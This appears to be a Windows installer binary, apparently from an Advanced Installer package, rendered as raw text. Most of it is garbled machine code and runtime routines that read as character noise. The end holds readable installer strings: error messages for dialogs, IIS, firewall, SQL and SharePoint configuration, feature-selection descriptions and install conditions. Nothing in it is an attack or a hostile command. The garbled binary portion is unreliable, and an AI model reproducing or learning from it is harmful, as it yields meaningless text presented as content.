Y^]D$t$L$hPjjt$t$V6'^Ujh`dP3PEd9tMd Y]U$jhdP3SVWPEd}}DRGEEhPG= PEEEuMP~ (MQfDffu+EQPMEMjhRjhLRMuj\Vu3 jjVEFHVP3G;tP_uGEMd Y_^[3+]h@UjhdPQV3PEduEDRFtPFMd Y^]Ujh%dPSVW3PEdeyuEtP|EMd Y_^[]xH3`PEEHtPuR3*PEEhRMuP; hhRcEuvVMEVBH RP3PEE jhRM88tEPEUBH RPEUBH RPxk3$PEEMPPMX13PEEjhRM`8tSEUBH RPEUrN RPxD3_PEEHtPuYR3)PEEhRMuP hhRaEuvVMYEVBH RP3PEE!jhRM8tEPEUBH RPEUrN RPh@Zh@Ph@Fh@3EfLGMEMd Y_^[]IT$SU]+\$;PVuWD$t$;v4+;v;BG==r'H#;QBqp#Ft P"q3|$D$E}<0Prl]SVT$0t 3fD$3fFD$ErS#+Cw\QSvku_^][UVBT$0t 3f3fF_u^][](L$tD$W|$f_D$UjhdP3PEdWEHH`fXEdhEl@lEEpt|@pEEtytW@tEx$T|Etj&hSEHMd Y]h@"UjhqdPSVW3PEduEN$^(~,EF0$TF4tPF4E}EBH RPE]EBH RPEV$UEzO RPE~tV2Md Y_^[]VvvhF^UjhdPVW3PEduEEHtPuRt=PEjQErgMd Y_^]h@GD$SU(VW;u;|r;ulP~F|;u.Vj2T$tRL$FNBRUOHWP_F^][uU1_^][S\$VWt^jjjSjjp~FB+J+} VVRjSjj;p"p3fp_^[_^[hWQUl$Vt$T$Wx[SC+K+} V>Ut$D$(kPhW[;pp3_fp^]YhW0Ujh dPV3PEd$TFtPFEtjVeMd Y^]VFtPF^Ujh dPV3PEd$TFtPFMd Y^]Ujh dPV3PEdAqtQ2Md Y^]UjhdP83EVWPEd}p03jhPT,fpEpP=Epj3hdTf-EP=ESj3htTfEP<"PTPTf@E @4P;"fE4P;"fE4Pc;x!HLHLf8E84P; fE4P:- $ $fE4P:qfE4P?:fE4P9fE4 P9fE4Pd9x|x|fhEh4P9`d`dfPEP4 P88<89C?PRNQ`q<3fFWRWB,C5Ph@VWwh@VWchRh@VWNfE @P=4E!E"zJ8r+<;wG<10 Q`0=E;zJ8r+<;wG<r5CPhVWBhVW.hRhVWE EEEXE(EPEhEsEdEUEFE7E(E8E E E@E5$CE EEEXE(EPsEhdEUEFE7E(EE E8EE E@ECEEXE(EPyEhjE[ELE=E.EEE8EE E@ECEXE(EPEhEpEaERECE4E%E8EE E@ECE(EPEhEEEvEgEXEIE8:E+E E@ ECEPEhEEEEEE|E8mE^E OE@@E1CEhEEEEEEE8EE E@EsRCEZEKEu)jdcY>td, hW_^]V5th^5854^UV5tuhh$Vju50V^]UEVHE+PQYYt'x$|!EE38eE2Md Y_^[Ut}u3 ]U=$t}uu du5YY]U=(uutVYtuju6\3@]uY3Md Y_^[jjhx\3iH\3G}eQE}=uk%e9juYY#uE"Md Y_^[}u1Yujjh}u9=\3et t]1]SWuuSWuuSWu)uu'u#SPuPYSVujtuHSWuBut5SWuD$MQ0huuue3uEMd Y_^[UV5u3@uuu^]U}uuuu]QL$+YJQL$+Y4UjhdPQSVW3PEdeueY3Md Y_^[U$Sj$tM)j$jPy|xffftfpflfhEE@jPEjPEE@EEPjXEEE$EP(uujY[%dU%l$ j e3SVW3}S[wO3WE}EntelE5ineIEE5GenuE3@S[]EsEKSuCE%?=t#=`t=pt=Pt=`t=pu=p=p=pMjXM9E|/3S[]sKMS]t=p]lltytq3EUEMj^#;uWl t; l#;uEM#;u @5l_^[33@39h gd6D$l$l$+SVW1E3PeuEEEEgdMgdY__^[]QUM{hEPUM>hlEPUeEePE3EE1E1EEPEM3E3E3 VWN@;tu&;uO@u G _ ^hxxhxkYH$HHHSVhaha;sW>t ;r_^[SVpapa;sW>t ;r_^[QL$+#%;rY$-UQEMSVXWxUx-k]tfnfp rG stb|GD$tGutt $GuD$WVt$L$|$;v; s%%psD$^_3u%%ps vs~vftefoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0svfoNvIfo^0foF fon0v00fof:ffof:fGfof:fo 0svVfoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0svrovfs vs~vfDtIu $D$TT\h|D$^_D$^_FGD$^_IFGFGD$^_4< Q%t+FGNOu $,D$^_FGD$^_IFGFGD$^_FGFGFGD$^_tINOurhooNoV o^0of@onPov`o~pOW _0g@oPw`pu r# ooNO ututuD$^_tf$fofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fpJut_t!ooNOv Jut0tutFGIu$ID$^_$++QtFGIut vHuYu2;ujEYU}u <].jh,Et~8csmuvxupx tx!tx"uUHtNQt)eRpJE1uuCYYet@tQpMd Y_^[UMU]U}t2VW}7>csmu!~u~ t~!t~"t_^3]fpw[pJUJ@$tM9t@u3@]3]UMUVqx I ^]UVuW>?RCCt?MOCt ?csmtx~H_3^]xvpIUEM;u3]:utP:Quu]UuptV0P Yu^]UEt=tPY]U t'VuuP" YjPMYYV^]I= u3SW5 YtuYj5 YYu3BVj(j7JYYtV5 YYu3S5 YY3V2Y^Wl_[h Yu2hPYYu tP Yjh3EH 8YPu9ux]}y tEtUEtHGPQ7t=xwpV?uV>tQGP6YY@H9_u#tZtVwGPQYYPVt7t3j[C]E3@e3Md Y_^[GjhUM:}yzeuVRQ]St!u4FPs[YYjPvWFPs?YYPvWYEMd Y_^[3@e1GU} S]VW}tu SWuHE,uuPu$6uuWnF@PuWhu(suuWu8tWPQ_^[]UhSVW}3WuEuEE;Gx];csm{{ t{!t {"39s;9p-X%E@E;csmu*{u${ t{!t{"u9s9pti@EuSpYYuG}97;uGhL"MFM;73MMME}u;csm{{ t{!t {"9wu WuPEPEPUEEU;UkM}jpEY9E;E3M9MC@EEUE}}~&sE7Pu"NMEUAME;Mu/uEEuu$u P7EPuuuuS0UMBEUM;U#}3}t jSYY}u{%=!rmuG t]} uWG tXMHGwS YYt]'9wv"}u$u PWuQuS| y9pui_^[BjS YYM4hEPEX=MHE$uESPWuuzW1PBU8S];VW39xtFWh9pt3;MOCt+;RCCt#u$u uuuuSQEE}9xu PuEuPEPOUEEU;UkM}jpEY9EN;EIMEHtyu.@u)jju$Mu QjPuuuuSU0MBEUM;Ur_^[AUUSVWBtvH9tn}tua_3;t0C:utY:Xuut3+ttEtt tt3F3@_^[]USVWuY-M3U"9p u":csmt:&t#;r A Bft&9q9uQuu09qu#=!r9qu;rhA t^:csmu:zr49zv/Bpt%E$Pu uQuuuR u uu$QuuuR 3@_^[]UVuq%^]aaAUEPAPHYY]j3~qE]@@MEEME~;FEUr1PwuEMHEMEUEUu_^[;UuMU]UuMuU]UE@]USQEEEUuMmVW_^]MUuQ]Y[U=0:td E;Ar;Avj Y)]U=0:td E@;Ar;Avj Y)]SVWT$D$L$URPQQhmgd63D$gd&D$0XL$,3pt;T$4t;v.4v\H{uhCCgd_^[L$At3D$H3UhpppA]D$T$Ut$L$)qqq(]UVWS33333[_^]j+33333IUSVWjRh%Qt_^[]Ul$RQt$]VW3jhW'tr2_^V5t kWW u_^UQSVW}o3tuvVphjPEuGWu(ujhV:tjjVu;}u3_^[tVUEVW<;t+u)uu?YYtuPt73_^]UVhhhjtu^]^]%dUVh hh jbutX^]UVh0h(h0j'ut`^]UVhDhYVYM_^3[}Uj uj@uZ-uPPj@ujuPu ]3PPPPPjhDtu.j{YetutEMd Y_^[jYUEMUHt]UQjuQQuuPj(USW}]?uE3fVuMExu!h$SWu`/uMtf3FEPP.YYtBu~~);^|'39EPuvWjvuu;^r0t*v339E3PuEFVWjpu*}t MP^%$%(3_[Ujuuu]UEu>Y]@],Vj^u;},jPj0j=0u+jV5,j0D=0u^W3jhF P04?k8@DttuF8Gpu_3^V!.304_/0Y Pu50%0Y^UE P]UE P]UHEPf}S]V3CE ;|V0@Y;~W3tYEtDt?Tt6uQHt#?k8E@BDB(EGE;u_^[SVW3?k84@~t~tN(yF(ttjjjXPLt tSH3t^uN(@)u$N(N(@F0t @GW_^[jhyjY3]]S.Yuj]EMd Y_^[]jYV3@tP9.@Yr^VWH3jhWtPr jY2_^UkEHP]V5t kW0W u_^UkEHP]UQd0V3u@9p|EP}t3F^UVutj3X;Er4uuFt VYtVj5t 3^]UE;Ev]]UVuWuu}3~~~3>uu9~u jujF3fWWjVjuuP Y:4};GvPau wwjVjuLtHG3_^]USVuuu3^^^33f9u u9^ujFSSSSjVSuV uPTYMW};GvPnu7SSwwjVSu uPY>HG3_^[]UQuEPuugUE(Vuj^0uS3W}M]taMfE*?QP]2YYuEPSSQuURPQ$Euuu}M]+uB;U#t/AEAu+MCEBE;uU]3juRuu}E}EM;Et[+UEBEBu+UBPuEE+EPQ1urEUMMME;EuE]0SYE+U9U#Mt7CY;u}uWY_[^SSSSSwUQMQAuW}+AM;vjX_SV_jSYYtWuSV0uPu+>uSP0u7]E3EtVuYC0CWY^[3WWWWWU3EMUSW};t#u&jj"jtFF+>vjX5Sj?S6uj^NF3j\Y[_^U]UVuuM3S3f9u%u9^ujF3^zSSSSjVSu5 uP3YcMW};GvP@u7SSwwjVSu uPYHG3_[^]V~tFj"YfF^38AtAAAAU,3EEhQPuPbY3UMEmPPPPrM3wmjh){E0gYeM*EMd Y_^[E0zYVQ@HPQ5Q@HPQ5F uF8pt0YFBH@H^UE-t(t tt3]$]$]$]$]UMj%Eu0,u4uE@}t MPUS]VWh3sWV:{3{{p+7Fu9Au_^[]U3ESVuW~Pv,3@;r Q ;s @;vuSvPWPjSSvWPWPWSF+@SvWPWPhS+$EtLtL @;r=3QB w LA wH AA;rM_^3[jUuuuMEIH;Au3SVWh Yt.uvHWu'YY;u_WY_^[}uE@HKuExHptpHYE3HHMPuEEMjEEXEEEPEPEP}rEcjhv3u}Pt9wLtwHtmYjYuwHu];3t'tuptVY3wHuEujYMd Y_^[3=u}u]7VYYux2M}etjYMeEe?t 3=M}Euq;t tu(EHM`;u@@E@E;u"k kM;taME)}ud;u.spSY#j[u}}tj*YVY;t tuEMH;uMH3Md Y_^[tjYj3UE]UV535u3uY^]jhxhE0Yeuv0[YYt2F8u@t0YtFFEMd Y_^[E0ZYj hOhE0Ye50 }u;tOE7PYYt7WO}}EMUEEEEPEPEPM}EMd Y_^[E0AYU eEeMEEEEjEXEEEPEPEP}EuEUEtH tQuE2]]UE$HLMMQP EYY@UVuF;tPYF;tPYF;tPYF;tPYF;tPzYF ;tPhYF$;tPVYF8;tPDYF<;tP2YF@;tP YFD;tPYFH;tPYFL;tPY^]UVutY;tPYF;tPYF;tPYF0;tPYF4;tPY^]UMSVuW3?;#t6SGvY;u_^[]UVujVFjPF8jPFhjPjPjPQjPCDjP2jP$LjPTX}\r`g(^]UMS]Vuuu9ut)j^0^[]tEtu3f3u3f+WufRft.u'fRft tuMu3f_uuE3jPfTAXt3f(j"YU]*Uf9EuMqfMf;s$UZtEEujMQjMQRPuEE}t MPUSVW3;+jU4X6uty^~;~\6_^[]U}tuYx=s8%]3]UQQVWt`}tZu3UNff;u+8AEff;Eu+M;vf$;s#WV~BI;wWV~$+;vWS;rJt++RLDJu;;s<$+;v!WQtD$+;vWQt++;|=;sDA;sD;st@;s vtUMS]Vuuu9ut'j^0^[]tEtu3u+WuBt'u Bt tuMu_uu EjPDX#j"qU]BUV3PPPPPPPPUI t$u t$sF ^Ujuu]U}u~3Vuu~9ur3EuMMVytJ9Uw Du++J}t MP^UQQ3ESVuW~VuY;Yp|}$", "uEx}$39E(jjVuPWUXH;#t5=wKtPYtU3RSVujW}3PPPPPWSuuUt8E ;3QQQPuWSuuE6H;#t/;wMJt`PTYtK3t:jjjVWuSuut3PP9E u:PPVWPu$6 u,WY3SYe_^[M3?u uWYUuMu(Eu$u uuuuuP$}t MP3U=tVuH}u|{>}t9uv|{^]fE;r+MjPVPWtC;rM;rM_^3[6UF3EMU?k8SV@uWDM3;P;s! uj ZffM;rjjhU QP+PPjhSu tQ3t5j+QPPt&;r+EF;FM_^3[e5jhXCuur r;5@?k8M@D(tiVY}e@MD(ur}r uuVQ}E )u}V}YAr LrgqMd Y_^[U(MMSVuW}}u q qq?k8U@E\)tutED( tjjjV.VYt9t"uEWPuEWVPE@E|(}Ft.tuEWVPuEWVPuEWVPL}3jEPuuQuEu}EueEt*j^;upp0PdpY}EM@D(@t?tspUp p+E3_^[UMu3]S]VW}Bw 3Fw +utu_^[]UVu~VupY;Yp|3PPPuuVuuu^]U$3EMS]Vu]Wu3BuEE#ujXD3f9FudCMxt3$YYttVYu6.YM_3^][UQQE]EUE tjt3@]tjtjX]]SQQUkl$3EVs CWVPsu&ePCPCPsC sPEP|s s^Yt)t%CV\$\$C$sWc$W)$VCYYM_3^][US]VtEtjY#EtjYEjEY#tT=t7=t;ubMR{LHM{ R2MzRMzRREEWDEPQQ$UU}3GgAuEeEfE;}0E+UEtuGEEt EUu}EtE3G_tjYtE tj Y3^[Ujuuuuuu]UE3S3CHEW HEHMtEXtEHtEHtEHtEHMVu3A1AM3A1AM3A1AM3A1AM3A#1APtMItEHtEHtEH tEX#t5=t"=t;u)E!MME #t =t;u"E MMEM31EX } t E` EEXEX`E]``EXP:MA A EEXEX`M]A`A`EXPwEPjjWMAt&At&At&At&At&t5t"t u( % % !ttu!# # } ^tAPAP_[]UEtwQ"]Q!]UU 39xPt@||PMtUEEEEEEEVuEE hu(EE$uE!EPuVUYE^hu(u9E UEVDz3Wf}uzMUuthS3AuCEuMyMNEtf}Uf#f}[t fEEjQQ$1#jQQ$_E0^]UQQMEE%]fMEU}Euu@]}uujX]fMf#f;ujf;uEutj3]UfMff#f;u3EQQ$|YYttt3@]jjX]]fuEu}t]EDzA@]]%UE3SVWH@3+3wy =u(Rd$=l|>z,w Rv $$vL$3(RU<$D$L$r"f?r"y&f@sff>@f?s3(R$$=l|$$T$U<$$T$L$f?r6yUf>@s5ff>@ r3f|$}33Uwuf|$}(R3=l|Cz0w$Rv1$$T$vL$3(RU<$$T$L$r.f?r.y4f?@s-ff>@ r3f?s 33(RUW=l}wwUfnp#+3offtftf#uf#ESf#3+#I#[D_Ut93t;Dt Gufnf:cG@L9Bu_#fft#f#ufft@ft}3E8t3_=lr_D$fnpT$#+o fftftff#uf~3:E3D$ST$t :tYtQuWV ~333u!%t%uu^_[3B[B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[UQ=l|f}t}uT]E?t?ut*uu uET$BJ3aT$BJ3aT$BJ3aM7M`FMAMPFT$BJ3h3[aMh7T$BJ30@bTMEM0AM?MEMAMEMEMAMh?M@MEM@MEMEM@M0?MhEM@M?M@MHEM@M8EM0EMx@M>MEM`@MEMEMH@M>M8@MDM(@MDT$BJ3pbM?MDT$BJ3cEeM9EeM9T$BJ3F,djMCT$BJ3`d4hYhYT$BJ3dT$BJ3aT$BJ3aMHCT$BJ3`dMVMVM0VMHVM`VMxVMVMuVMKMeVMgKT$BJ3J3dMKM=MUBT$BJ3mpeMu=MBT$BJ35eYMUMUM0UMHwUM`lUMxaUMSUMEUMGJMJMEI~P\j(j@EEEEEEEEEE EEEEEE(EEEEEuj(PVv(EuEEU;t+OD9t;uE;GufEf;EEMtBE+=rI+BtQEEEEM@E;3EME+=rfI+BSEMt>E+=r I+BwgtQEEEztQEEEMd Y_^M3"]0UjhqdPV$3PEdt=F+=rJ+Bw1tRFFMd Y^] 0UjhqdPV$3PEdFtPFMd Y^]UjhydPQSVW$3PEd}EHpEP~F|;u(^j3t9NFBRuIFEMd Y_^[]hUjh@qdPSVW$3PEdE4t]u 0G}t!;rVWQ Md Y_^[]SjQt;sp0";.Md Y_^[]QS\$UVWzD$ PjSMjjuQ,GHxb|$B+J+} VD$ PjSFPERuPG;pp3_fp^][YhWh@UjhqdPV$3PEd1tCt=F+=rQ+Aw1tQFFMd Y^],Vt$W9qOqy~ V_^I;}7@~;MV)_^+;MV_^Vt$W9r}~ jVRPt _^LUD$VHhWxD$Pt$jVD$tG;SLXFVt$D$$hGHWPD$[_^]ItPtjU$3$Vu>hPD$PjD$Ph`^$3]$@^3}]Ujh@sdP$3PEd-udMd Y]U$jh%zdP$3SVWPEd}}8{GEEhPG=mPEEEPMu"MQffu+EQPM EMjhzjhhMuj\Vu3 jjV@EFHVP3G;tP_uXGEMd Y_^[3]h@EUjh]zdPQV$3PEduE8{FtPFMd Y^]UjhzdPSVW$3PEd}RjhELEzuEu'3GGfEEEzVIT2)tu(=EEEztVEMd Y_^[]UjhL{dPl$3EVWPEdEWfh|PjjQjW%=hjP-jhPWd%=uB3FFfE8{P~jHEjPEjjHPWd%=u3FFf3f9EuFFfgEEEEfEEMEjP}MECMjPQuWd%F=uF3fEMEF3fE~EfFEEEMX3FFfE8{tQMd Y_^M3r]Ujh{dP $3EVWPEdEEj0jP=hPjj0MQj%=EWEfEEEhPljjj(MQ%=JhjPEEhPjjhQ%=3f9putMd Y_^[]3Md Y_^[]Ujh@sdP$3PEd9tMd Y]Ujh3}dPVW$3PEd}EETu(EQjjjPMd Y_^]jEEEEEPhjjhyE|EPEEEUERjURj|RRPQ<=yEEE EPhhuyEGEEUERPQ0_^][L$,3$0XL$<_^][30VFtPF^UjhqdPV$3PEd(FtPFMd Y^]UjhqdPV$3PEd(FtPFEtVMd Y^]hjhwjhhf|Ujh1dP$3PEdd, ;~>h=u(E(Eh,Md Y]U$tKtGSVW~y)j3~yWEtWMd Y_^[]UjhdPSVW$3PEdUx0RpuEt$Qffu+QSMGNu_0REEMjhzN8tEPEUBH RPE~OVPjuE SjVVhuEtVMd Y_^[]h@j&UjhdPVW$3PEduEEPhzVjE|=u;E3@EQj@tEPWVj|WEtVMd Y_^]U$4jhudP$30SVWPEdU\;sf}uuf}:uE\$REEEPM@u$MQfffu+EQPMTBE#VREEMSi@uRu03@+MV`3fD53Qffu+QSMAE:#REEMW?u-u3Qffu+QWMwAEEWMttEUPQMD$Q3E8MUEMPuEjPfI38EDEEEUBH RPEUBH RPEUrN RPEE5tPEEEtSEEEtWEKEE5tPEEE$SEEtP3EEMd Y_^[3]%h@3L$2L$UjhdPV$3PEdEEEEMPtu}tjjjVjjEtVE3EMd Y^]Ujh dPSVW$3PEd}thdWhWpFuhWHhWH@;tthhzh WEEE5tPWUEEEEtPEEPuueEtEEEEMPuthzVWEtV5EEyEEtPEEtPhzhW5hWhWh(WhzhTWhdW_5th@Wu.hhh,WhlWuhhzhW3Md Y_^[]Ujh}dP(SVW$3PEdEEEEEEEPUthVuhVHhVH@EEEMQM=tsEEEEUPU3f9 t/f@Af8utRhTVuhTVUEREEEEEEPTU3f9 t@Af8uuh|VUEREEEEtPhVEEuhVHhVH@EEEMQMtqEEEEUP|U3f9 t-@Af8utRhVuhVUEREEEEEEPiU3f9 t@Af8uuhVUEREEEEtPEEEEEhVuhVHhVH@EUW]3f9t9@Af8ut+ShVShVhzhVESEEEEtPEEEEtPEEMd Y_^[]UjhdPSVW$3PEdUEEEtPVUE `t3XEE5EtPEEPuEtEEEEMPEEEEMPm]|j}tE@tPE3@f97tD@Ff8uF3Qj@MA1f+fffuj}E@tPE3@f97t @Ff8uF3Qj@MA1ft+ffu53fEtWEEEtSEEEEtPEEEEtPE3EEEtPEMtQMd Y_^[]SUVW=3D$|H3L$+LRf;r:w8ftfuuuUuC4D$L$T$ _^][3f90tfD@Ff8uF3Qj@L$Q1ftf2Ifu_^3]f[3f90t @Ff8uF3Qj@L$Q1ftf2Ifu_^3]f[_^]3[Ujh dPSVW$3PEd}hdWtHEE@EEhj@hhhEhVuEEEtPWUEfEEEtPEEtlMQP~y tFAu=juEMtQEEtPEtPXhXP4EtPEEPXPWt=OUEE/juuWTW*EEEEEEEEu}PXhP4EtPEEPXPWt&=Ot]EEtPEWjuau4WWEEtPEWE EEtPEWaEEtPEWBEEtPEW#EEtPEWEEtPEWEEPE"2e:T56dc,"oth the icon and the bitmap style set.The control [3] on dialog [2] is of a type, that cannot be integer valued.Unrecognized volume type.Dialog [2] is a modeless dialog. The execute method should not be called on it.The directory [2] is mentioned in the selection table but not found.Test error message.Cancel button is ill-defined on dialog [2].The next pointers for the radio buttons on dialog [2] control [3] do not form a cycle.The control [3] on dialog [2] needs the icon [4] in size [5]x[5], but that size is not available. Loading the first available size.The dialog [2] has the error style bit set, but is not an error dialog.The [2] table is out of date: [3].On the dialog [2] the control [3] has an invalid string length limit: [4].The binary data [2] was not foundDo not perform the remaining control events.MsiHandler initialization failed.Dialog window class registration failed.Failed to create a window for the dialog [2].There was an error registering application with Windows Firewall: [2].Failed to create the control [3] on the dialog [2].Creating the [2] table failed.Creating a cursor to the [2] table failed.Executing the [2] view failed.Creating the window for the control [3] on dialog [2] failed.The handler failed in creating an initialized dialog.The control [3] on dialog [2] can accept property values that are at most [5] characters long. The value [4] exceeds this limit, and has been truncated.Loading RICHED20.DLL failed. GetLastError() returned: [2].Freeing RICHED20.DLL failed. GetLastError() returned: [2].Failed to create any [2] font on this system.For [2] textstyle, the system created a '[3]' font, in [4] character set.Operation [2] called out of sequence.Could not read record from script file [2].Could not unregister component [2].Unsupported XML file encoding.Could not remove the folder [2].Source directory not specified for file [2].Exceeded maximum number of sources. Skipping source '[2]'.Could not determine publishing root. Error: [2].Could not initialize rollback script [2].Could not secure transform [2]. Error [3].Could not find transform [2].Windows Installer cannot install a system file protection catalog. Catalog: [2], Error: [3].Windows Installer cannot retrieve a system file protection catalog from the cache. Catalog: [2], Error: [3].Directory Manager not supplied for source resolution.Unable to compute the CRC for file [2].BindImage action has not been executed on [2] file.GetProductAssignmentType failed.Installation of ComPlus App [2] failed with error [3].The patches in this list contain incorrect sequencing information: [2][3][4][5][6][7][8][9][10][11][12][13][14][15][16].Patch [2] contains invalid sequencing information.Could not verify serial number.A more recent version of [ProductName] is already installed on this computer.There was an error during the IIS configuration process. Your original IIS configuration will be restored.There was an error during the IIS configuration process while trying to install [2]. Your original IIS configuration will be restored.Web Site "[2]" already exists on this server. Do you want to skip this web site and continue the installation ?Virtual Directory "[2]" on Web Site "[3]" already exists on this server. Do you want to skip this virtual directory and continue the installation ?Application Pool "[2]" already exists on this server. Do you want to skip configuring this application pool and continue the installation ?Virtual Directory "[2]" on Web Site "[3]" already exists on this server. Do you want to overwrite this virtual directory and continue the installation ? (This operation cannot be undone.)Application Pool "[2]" already exists on this server. Do you want to overwrite this application pool and continue the installation ? (This operation cannot be undone.)A Web Site with ID [\[] [2] [\]] - "[3]" already exists on this server. Do you want to skip this web site and continue the installation ?A Web Site with ID [\[] [2] [\]] - "[3]" already exists on this server. Do you want to overwrite this web site and continue the installation ? (This operation cannot be undone.)An error has occurred during the IIS Web Deploy configuration process for package "[2]". Do you want to skip this package and continue the installation ?Unable to remove user account or group '[2]' on the local machine. Error Code: [3].User account or group '[2]' does not exist on the local machine.An error was encountered while sharing '[2]' under name: '[3]'. Error description: [4]File not found: [2].Parse error in file: '[2]' at line: [3], column: [4]. ErrorCode: [5].File '[2]' could not be written.Unexpected root element: "[2]" in XML file: '[3]'.There was an error during the Windows Firewall configuration process. Your original Firewall configuration will be restored.Invalid Firewall network scope: [2].There was an error registering port with Windows Firewall: [2].There was an error during the Game Explorer configuration process.There was an error during the SQL script execution process.ODBC Error: [2] ([3]).SQL script parse error: invalid syntax.Internal error in CallStdFcn.Would you like to remove [ProductName] settings and temporary files?[2] prerequisite was not correctly installed. Continue installation of [ProductName]?Failed to load [2]. Error:[3]Failed to create file [2] because an invalid file name was specified.The specified installation path already exists. Please select a different path.The specified installation path already exists. Do you want to overwrite it?The specified installation path cannot be used because it contains the "[1]" element. Please select a different path.The specified installation path cannot be used because it does not contain the "[1]" element. Please select a different path.Failed to publish the package because of the following error: [2]Failed to remove the package because of the following error: [2]This installation package is not supported by this processor type. Contact your product vendor.The following required Windows features are not available on your system: [2].There was an error during the Windows features configuration process. Your original configuration will be restored.You can only type a separator character here.Failed to install [2] Control Panel applet.SQL Server Reporting Services deployment [2] failed. Reason: [3].EXE and MSI file signature mismatch.SetProgressProgressIgnoreChangeSelectionNoItemsEnabledSelectionDescriptionSelectionSizeSelectionPathSelectionPathOnVisibleAI_NEWERPRODUCTFOUND AND (UILevel <> 5)APPDIR=""(Not Installed) OR REINSTALLAI_UPGRADE="No" AND (Not Installed)(VersionNT > 501) OR (VersionNT = 501 AND ServicePackLevel >= 2)REMOVE<>"ALL"REMOVE="ALL"(VersionNT >= 600) AND (REMOVE<>"ALL")(VersionNT >= 600) AND (REMOVE="ALL")NOT InstalledVersionNTInstallExecuteAI_USE_STD_ODBC_MGRIsolateComponentsRedirectedDllSupportPATCHAI_EXTREG <> "No"AI_UPGRADE<>"No"AI_USE_STD_ODBC_MGR AND Installed(VersionNT >= 603)SHORTCUTDIR=""Installed AND (AI_EXTREG <> "No")ValidateProductIDInstalled AND (NOT RESUME) AND (NOT Preselected) AND (NOT PATCH)RESUME OR PreselectedNOT AiSkipExitDlg OR NOT AI_INSTALLNOT AiSkipUserExitAI_NEWERPRODUCTFOUND((VersionNT <> 501) AND (VersionNT <> 502))[ProductName] cannot be installed on [WindowsTypeNT5XDisplay].(VersionNT <> 400)[ProductName] cannot be installed on [WindowsTypeNT40Display].(VersionNT <> 500)[ProductName] cannot be installed on [WindowsTypeNT50Display].[ProductName] cannot be installed on [WindowsType9XDisplay].Automatically &close applications and attempt to restart them after setup is completeNoneDo ¬ close applications (a reboot will be required)VerdanaBold13VerdanaTahomaDlgFontBold8CfTitleFontSelAdvertiseCDThis feature will be available to run from CDAbsentPathMenuNetworkWill be installed to run from networkMenuAllCDEntire feature will be installed to run from CDSelParentCostNegNegThis feature frees up [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures free up [4] on your hard drive.GBPrereqReqMinOnly{[2] or higher}bytesTimeRemainingSelLocalNetworkThis feature will be removed from your local hard drive, but will be still available to run from the networkKBMenuAllLocalEntire feature will be installed on local hard driveSelChildCostPosThis feature requires [1] on your hard drive.MBVolumeCostDifferenceDifferenceMenuCDWill be installed to run from CDMenuAdvertiseFeature will be installed when requiredMenuAbsentEntire feature will be unavailableMenuAllNetworkEntire feature will be installed to run from networkMenuLocalWill be installed on local hard driveScriptInProgressSelCDAbsentThis feature will be uninstalled completely, you won't be able to run it from CDSelAbsentAbsentThis feature will remain uninstalledSelAbsentAdvertiseThis feature will be set to be installed when requiredSelAbsentCDThis feature will be installed to run from CDSQLShowDatabasesMsgConnecting to database server...ConfigurePackageConfiguring [1]SQLFetchTitleODBCSelCDCDThis feature will remain to be run from CDSelCDAdvertiseThis feature will change from run from CD state to set to be installed when requiredSelAbsentLocalThis feature will be installed on the local hard driveHttpPostTitleSelCDLocalThis feature will change from run from CD state to be installed on the local hard driveSelAbsentNetworkThis feature will be installed to run from the networkSelAdvertiseAbsentThis feature will become unavailableSelAdvertiseAdvertiseWill be installed when requiredVolumeCostAvailableAvailableSelLocalLocalThis feature will remain on you local hard driveSQLBrowseTitleSQLSelLocalAdvertiseThis feature will be removed from your local hard drive, but will be set to be installed when requiredSelLocalAbsentThis feature will be completely removedSelAdvertiseLocalThis feature will be installed on your local hard driveSelAdvertiseNetworkThis feature will be available to run from the networkSelChildCostNegThis feature frees up [1] on your hard drive.SelCostPendingCompiling cost for this feature...SharePointLogWspNoOptionsSkipping incomplete CAB. Full options string: [1].SelLocalCDThis feature will be removed from your local hard drive, but will be still available to run from CDSQLFetchMsgQuerying database...SelNetworkAbsentThis feature will be uninstalled completely, you won't be able to run it from the networkSelNetworkAdvertiseThis feature will change from run from network state to set to be installed when requiredSelNetworkLocalThis feature will change from run from network state to be installed on the local hard driveSelNetworkNetworkThis feature will remain to be run from the networkBrowseFolderLocationSelParentCostPosNegThis feature requires [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures free up [4] on your hard drive.SelParentCostNegPosThis feature frees up [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures require [4] on your hard drive.SelParentCostPosPosThis feature requires [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures require [4] on your hard drive.VolumeCostRequiredRequiredVolumeCostSizeDisk SizeVolumeCostOthersGroupUnused drivesVolumeCostDrivesGroupInstallation drivesVolumeCostVolumeVolumeODBCTestTitleODBCTestMsgPlease wait while testing the connection...SQLBrowseMsgBrowsing SQL Servers on the network...SQLShowDatabasesTitleHttpPostMsgSending collected data...VolumeCostBadGroupInsufficient spaceBrowseFolderSelectFolderSelect FolderBrowseFolderNameFolder name:WarningPrereqLabelPrereqReq{[2] - [3]}PrereqReqMaxOnly{[3] or lower}PrereqReqExact[2]SharePointLogNoUrlWarning: solution may not be deployed correctly. A valid URL was not found in AI_WSP_URL property and the solution is not global or local.PrereqFound[4]PrereqAction[6]PrereqInstalledPrereqInstallActionPrereqMandatoryInstallActionMust InstallPrereqSkipActionSkipDownloadingPrereqDownloading [1]InstallingPrereqInstalling [1]SharePointLogFinishFinishing SharePoint solution deploymentOpenSitePrereqOpening site of [1]SharePointLogUninstallFinishFinished uninstalling SharePoint solutionsExtractPrereqExtracting [1]OpenSiteWaitPrereqThe installer is waiting for you to locate, download and install following prerequisites onto your computer. Press OK when you are ready to continue installation.HtmlHostNavError

Error loading resource:

"[1]"

SharePointLogNoWspsUIText.SharePointLogNoWspsSharePointLogMissingStsadmIncorrect SharePoint or MSI configuration. Please make sure that your installer has the same package type (32-bit or 64-bit) as SharePoint.SharePointLogInstallRunning in first time install mode.SharePointLogMaintenanceRunning in maintenance mode.SharePointLogUninstallRunning in uninstall mode.SharePointLogWspNoNameSkipping CAB with no name. Full options string: [1].SharePointLogWspNoFileCAB file not found: [1]. Skipping.SharePointLogAddingSlnAdding solution: [1].SharePointLogDeployingSlnDeploying solution [1] to URL [2].SharePointLogRetractingSlnRetracting solution: [1].SharePointLogRetractingSlnAdminRetracting solution [1] from administrative virtual server 